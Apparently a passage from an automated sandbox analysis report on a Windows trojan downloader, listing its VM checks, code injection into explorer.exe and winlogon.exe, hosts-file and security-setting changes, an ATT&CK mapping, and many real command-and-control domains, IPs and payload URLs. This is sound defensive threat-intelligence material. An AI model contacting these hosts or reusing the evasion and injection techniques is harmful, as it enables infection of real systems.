Source: explorer.exe, 00000005.00000002.4536277296.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000W
Source: explorer.exe, 00000005.00000003.2979671956.000000000C374000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000005.00000002.4546476312.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}lnkramW6
Source: explorer.exe, 00000005.00000003.2979671956.000000000C374000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f56
Source: explorer.exe, 00000005.00000002.4536277296.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: p4C7Gm10K3.exe, 00000000.00000002.2082261219.000000000078E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000005.00000003.2979671956.000000000C374000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: rmass.exe, 00000002.00000003.3949980303.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3441706190.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3488346756.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3961714061.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3209181789.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832464416.0000000000731000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3236138903.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4328255213.000000000072E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWbH
Source: explorer.exe, 00000005.00000003.2979671956.000000000C374000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: fb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&00000
Source: explorer.exe, 00000005.00000002.4546476312.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: explorer.exe, 00000005.00000002.4536277296.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	API call chain: ExitProcess graph end node	graph_0-1588
Source: C:\Windows\SysWOW64\rmass.exe	API call chain: ExitProcess graph end node	graph_2-1435
Source: C:\Windows\SysWOW64\rmass.exe	API call chain: ExitProcess graph end node	graph_3-1890

Source: C:\Windows\SysWOW64\rmass.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

0_2_00404116

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

0_2_0040370C

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\rmass.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 15E70000 protect: page read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Memory allocated: C:\Windows\explorer.exe base: 2D40000 protect: page read and write			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\rmass.exe

Memory written: PID: 4004 base: 2D40000 value: 43

Jump to behavior

Modifies the hosts file

Source: C:\Windows\SysWOW64\rmass.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\rmass.exe	Memory written: C:\Windows\System32\winlogon.exe base: 15E70000			Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Memory written: C:\Windows\explorer.exe base: 2D40000			Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe	Code function: wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,CloseHandle,FindCloseChangeNotification,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe		2_2_00404116
Source: C:\Windows\SysWOW64\rmass.exe	Code function: GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,Process32Next,CloseHandle,WaitForSingleObject,CloseHandle,GetStartupInfoA,OpenProcess,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,ReadFile,CloseHandle,CreateThread,CloseHandle, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe		2_2_004035CF

Source: winlogon.exe, 00000004.00000002.4539741271.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.2084356564.000002D016A61000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.4538174308.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: winlogon.exe, 00000004.00000002.4539741271.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.2084356564.000002D016A61000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.4538174308.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000004.00000002.4539741271.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.2084356564.000002D016A61000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.4538174308.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000002.4536277296.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2086839492.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +Progman
Source: winlogon.exe, 00000004.00000002.4539741271.000002D016A60000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000004.00000000.2084356564.000002D016A61000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.4538174308.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000003.2979221928.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2090168879.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4546476312.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd31A

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

Code function: 0_2_00404E3C ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,RtlAdjustPrivilege,NtShutdownSystem,ExitWindowsEx,RegCloseKey,

0_2_00404E3C

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\SysWOW64\rmass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center AntiVirusOverride

Jump to behavior

Modifies the hosts file

Source: C:\Windows\SysWOW64\rmass.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Modifies windows update settings

Source: C:\Windows\SysWOW64\rmass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU NoAutoUpdate

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	2 Native API	1 Registry Run Keys / Startup Folder	312 Process Injection	121 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	11 Image File Execution Options Injection	1 Registry Run Keys / Startup Folder	1 File and Directory Permissions Modification	LSASS Memory	111 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	12 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	11 Image File Execution Options Injection	2 Disable or Modify Tools	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	21 Virtualization/Sandbox Evasion	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	12 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	312 Process Injection	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	2 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
p4C7Gm10K3.exe	95%	ReversingLabs	Win32.Downloader.Agentsmall
p4C7Gm10K3.exe	90%	Virustotal		Browse
p4C7Gm10K3.exe	100%	Avira	TR/Crypt.ULPM.Gen
p4C7Gm10K3.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\ntdbg.exe	100%	Avira	TR/Crypt.ULPM.Gen
C:\Windows\SysWOW64\ahuy.exe	100%	Avira	TR/Crypt.ULPM.Gen
C:\Windows\SysWOW64\rmass.exe	100%	Avira	TR/Crypt.ULPM.Gen
C:\Windows\SysWOW64\RECOVER32.DLL	100%	Avira	TR/Dldr.Agent.apd.2
C:\Users\user\AppData\Roaming\tmpC717.tmp	100%	Avira	TR/Crypt.ULPM.Gen
C:\Windows\SysWOW64\ntdbg.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\ahuy.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\rmass.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\RECOVER32.DLL	62%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\SysWOW64\rmass.exe	95%	ReversingLabs	Win32.Downloader.Agentsmall

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
utbidet-ugeas.biz	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://outlook.come	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://unmomis.biz/d/N?020C2E9DA30C2E9DA3222EB1A30C2E50FAAE9F51610D2E5D0B0E28AB8D3E00A4913C1EB3A3	0%	Avira URL Cloud	safe
http://cskyklyesjs.mp/	0%	Avira URL Cloud	safe
http://asmqldwuiwcwm.pw/902	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02B22D3E67B22D3E679C2D1267B22DF33E109CF2A5B32DFECFB02B084980030755821D1067n	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?02EC1F8C29EC1F8C29C21FA029EC1F41704EAE40EBED1F4C81EE19BA07DE31B51BDC2FA	0%	Avira URL Cloud	safe
http://saswvsucboqjw.nu/t	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4Dn	0%	Avira URL Cloud	safe
http://kglgmgeh.mp/	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?020FADE4890FADE48g	0%	Avira URL Cloud	safe
http://yyucqk.tk/	0%	Avira URL Cloud	safe
http://smtsg.tk/	0%	Avira URL Cloud	safe
http://jqueouldxzhhc.nu//d/N?04	0%	Avira URL Cloud	safe
http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02386CA0CE386CA0CE166C8CCE386C6D979ADD6C0C396C60663A6A96E00A4299FC085C8ECE	0%	Avira URL Cloud	safe
http://luimvwcqc.nu/vsucboqjw.nu/	0%	Avira URL Cloud	safe
http://dyueyt.nu/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA	100%	Avira URL Cloud	malware
http://utbidet-ugeas.biz/d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB1	100%	Avira URL Cloud	malware
http://uwgiucm.pw/0	0%	Avira URL Cloud	safe
http://qeywh.pw/	0%	Avira URL Cloud	safe
http://imbwsomexosgk.mp/	0%	Avira URL Cloud	safe
http://yicvwfgkc.tk/tdbg.exe	0%	Avira URL Cloud	safe
http://%s.biz/d/N?	0%	Avira URL Cloud	safe
http://xmppjqkmlcssm.cd/	0%	Avira URL Cloud	safe
http://saswvsucboqjw.nu/1	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE	100%	Avira URL Cloud	malware
http://uboee.st/	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?0287FB1F2B87FB1F2BA9FB332B87FBD272254AD3E986FBDF8385FD2905B5D52619B7CB312B	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4D902	0%	Avira URL Cloud	safe
http://uihemgn.mp/soft	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C7	100%	Avira URL Cloud	malware
http://utbidet-ugeas.biz/d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF8	100%	Avira URL Cloud	malware
http://ecceuleyq.tk/	0%	Avira URL Cloud	safe
http://xmukjiayiua.museum/u	0%	Avira URL Cloud	safe
http://kgmaiwktywawg.tk/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B	100%	Avira URL Cloud	malware
http://utbidet-ugeas.biz/d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7	100%	Avira URL Cloud	malware
http://unmomis.biz/d/N?020FADE4890FADE48921ADC8890FAD29DO	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?022EEFDCB72EEFDCB700EFF0B72EEF11EE8C5E10752FEF1C1F2CE9EA991CC1E5851EDFF2B7	0%	Avira URL Cloud	safe
http://imoqqcxc.cd/	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?022EEFDCB72EEFDCB&	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857	100%	Avira URL Cloud	malware
http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?idbg32.exeaset32.exeSOFTWARE	100%	Avira URL Cloud	malware
http://mqsjyksp.pw/2Q	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?022E72DC292E72DC290072F0292E7211708CC310EB2F721C812C74EA071C5CE51B1E42F22PZ	0%	Avira URL Cloud	safe
http://conprak.st/	0%	Avira URL Cloud	safe
http://swstgqsyaxe.nu/	0%	Avira URL Cloud	safe
http://hftqf.mp/d	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605	100%	Avira URL Cloud	malware
http://wwhoyfa.mp/	0%	Avira URL Cloud	safe
http://hftqf.mp/t	0%	Avira URL Cloud	safe
http://wmjwdixoh.pw/tdbg.exe	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F06	100%	Avira URL Cloud	malware
http://eqjpscl.cd/	0%	Avira URL Cloud	safe
http://koavbgwohct.nu/	0%	Avira URL Cloud	safe
http://avscooaicdshq.mp/	0%	Avira URL Cloud	safe
http://swstgqsyaxe.nu/ft	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2Fdo	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?0263F495B963F495B94DF4B9B	0%	Avira URL Cloud	safe
http://kaccimyquxifj.cd/WinE	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02B27D604DB27D604D9C7D4C4DB27DAD1410CCAC8FB37DA0E5B07B56638053597F824D4E4DW	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2/Y	0%	Avira URL Cloud	safe
http://yuufw.museum/	0%	Avira URL Cloud	safe
http://rzucgtcpwoujoi.pw/$	0%	Avira URL Cloud	safe
http://yowuwvxv.mp/nectionSettings	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02F6456097F6456097D8454C97F645ADCE54F4AC55F745A03FF44356B9C46B59A5C6754E979	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?028FE0AA768FE0AA76A1E086768FE0672F2D5166B48EE06ADE8DE69C58BDCE9344BFD08	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129	100%	Avira URL Cloud	malware
http://yiwqeoqkvc.museum/	0%	Avira URL Cloud	safe
http://hftqf.mp/	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?02AA9E4608AA9E4608849E6A08AA9E8B51082F8ACAAB9E86A0A898702698B07F3A9AAE6	0%	Avira URL Cloud	safe
http://vesuvadpxnu.pw/	0%	Avira URL Cloud	safe
http://gtmubeksl.tk/k	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539D	100%	Avira URL Cloud	malware
http://ogsdabuwibmkq.pw/U	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485	100%	Avira URL Cloud	malware
http://utbidet-ugeas.biz/d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806C	100%	Avira URL Cloud	malware
http://cxlowsxgyq.mp/u	0%	Avira URL Cloud	safe
http://eqwmxcdrpj.mu	0%	Avira URL Cloud	safe
http://gwmswyupyceds.mp/	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02061FCA77061FCA77281FE677061F072EA4AE06B5071F0ADF0419FC593431F345362FE477	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02F687C159F687C159D887ED59F6870C0054360D9BF78701F1F481F777C4A9F86BC6B7EF59n	0%	Avira URL Cloud	safe
http://ahagz.st//	0%	Avira URL Cloud	safe
http://jkpuc.museum/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/cc	100%	Avira URL Cloud	malware
http://utbidet-ugeas.biz/d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455	100%	Avira URL Cloud	malware
http://izasnosdqa.tk/	0%	Avira URL Cloud	safe
http://avscooaicdshq.mp/m	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02CAC5EEE2CAC5EEE2E4C5C2E2CAC523BB68742220CBC52E4AC8C3D8CCF8EBD7D0FAF5C0E2Ver	0%	Avira URL Cloud	safe
http://icfuk.cd/ed	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?020FADE4890FADE48921ADC8890FAD29D	0%	Avira URL Cloud	safe
http://avscooaicdshq.mp/u	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kuwknmq.vg	88.198.29.97	true	false		unknown
xnvcnocfsecx.ws	64.70.19.203	true	false		unknown
eayiwsaiu.ws	64.70.19.203	true	false		unknown
goeowontyyzia.vg	88.198.29.97	true	false		unknown
ouydc.vg	88.198.29.97	true	false		unknown
ickafg.ws	64.70.19.203	true	false		unknown
vjqyzecseiwlb.vg	88.198.29.97	true	false		unknown
inyaa.vg	88.198.29.97	true	false		unknown
anunqdoqkkk.vg	88.198.29.97	true	false		unknown
gcjmtzioi.vg	88.198.29.97	true	false		unknown
uadcmeomsyu.vg	88.198.29.97	true	false		unknown
qwgaoioloeo.vg	88.198.29.97	true	false		unknown
apyiycwwid.vg	88.198.29.97	true	false		unknown
ecswcomtsjyfa.ws	64.70.19.203	true	false		unknown
igwhowmy.ws	64.70.19.203	true	false		unknown
odumu.vg	88.198.29.97	true	false		unknown
xsoarnzo.ws	64.70.19.203	true	false		unknown
bamku.ws	64.70.19.203	true	false		unknown
ajrmbqgav.ws	64.70.19.203	true	false		unknown
xcrzpoqyev.vg	88.198.29.97	true	false		unknown
cpkkmssiqdbky.vg	88.198.29.97	true	false		unknown
gmsezwrei.ws	64.70.19.203	true	false		unknown
cigkgqmwwoq.vg	88.198.29.97	true	false		unknown
kgbnl.vg	88.198.29.97	true	false		unknown
oqeyuwi.ws	64.70.19.203	true	false		unknown
yekmsfmwcwocqq.ws	64.70.19.203	true	false		unknown
fcupaue.vg	88.198.29.97	true	false		unknown
ccjasobgowmrg.vg	88.198.29.97	true	false		unknown
mmaccrr.ws	64.70.19.203	true	false		unknown
imuic.vg	88.198.29.97	true	false		unknown
utbidet-ugeas.biz	167.99.35.88	true	true	10%, Virustotal, Browse	unknown
ywgyfzrcdoaye.ws	64.70.19.203	true	false		unknown
rinurug.ws	64.70.19.203	true	false		unknown
kyyxw.vg	88.198.29.97	true	false		unknown
pcqkpgmgrgx.ws	64.70.19.203	true	false		unknown
otvidufz.ws	64.70.19.203	true	false		unknown
oadvlaconzhai.vg	88.198.29.97	true	false		unknown
cwotiedmwpagi.vg	88.198.29.97	true	false		unknown
qcmono.vg	88.198.29.97	true	false		unknown
byyriapcqmwau.vg	88.198.29.97	true	false		unknown
juafu.vg	88.198.29.97	true	false		unknown
givmmivuiyq.ws	64.70.19.203	true	false		unknown
uqfqsyvauiujx.ws	64.70.19.203	true	false		unknown
weaqcosbwtqx.ws	64.70.19.203	true	false		unknown
sxeafnqamioyl.ws	64.70.19.203	true	false		unknown
gifwhb.vg	88.198.29.97	true	false		unknown
gymjcco.ws	64.70.19.203	true	false		unknown
usckmkwwcaiwt.vg	88.198.29.97	true	false		unknown
ymkdzou.vg	88.198.29.97	true	false		unknown
zmiska.ws	64.70.19.203	true	false		unknown
kzjaojkoiyu.ws	64.70.19.203	true	false		unknown
zluqmhg.vg	88.198.29.97	true	false		unknown
ukwww.ws	64.70.19.203	true	false		unknown
mexuvggwn.ws	64.70.19.203	true	false		unknown
qkdayolch.vg	88.198.29.97	true	false		unknown
gdiesxseigao.vg	88.198.29.97	true	false		unknown
kyutfggw.vg	88.198.29.97	true	false		unknown
qnokcoiegm.vg	88.198.29.97	true	false		unknown
rtywmau.ws	64.70.19.203	true	false		unknown
baisi.vg	88.198.29.97	true	false		unknown
jhrkfuyoa.ws	64.70.19.203	true	false		unknown
pkimoce.vg	88.198.29.97	true	false		unknown
ihtwceiof.ws	64.70.19.203	true	false		unknown
eqekk.ws	64.70.19.203	true	false		unknown
batyksmcepg.vg	88.198.29.97	true	false		unknown
yqggloksl.vg	88.198.29.97	true	false		unknown
weeacoxswflw.ws	64.70.19.203	true	false		unknown
wacvs.ws	64.70.19.203	true	false		unknown
qicnawevodqu.mp	unknown	unknown	true		unknown
wwhoyfa.mp	unknown	unknown	true		unknown
ieqiukyskycdo.nu	unknown	unknown	true		unknown
qikaefe.nu	unknown	unknown	true		unknown
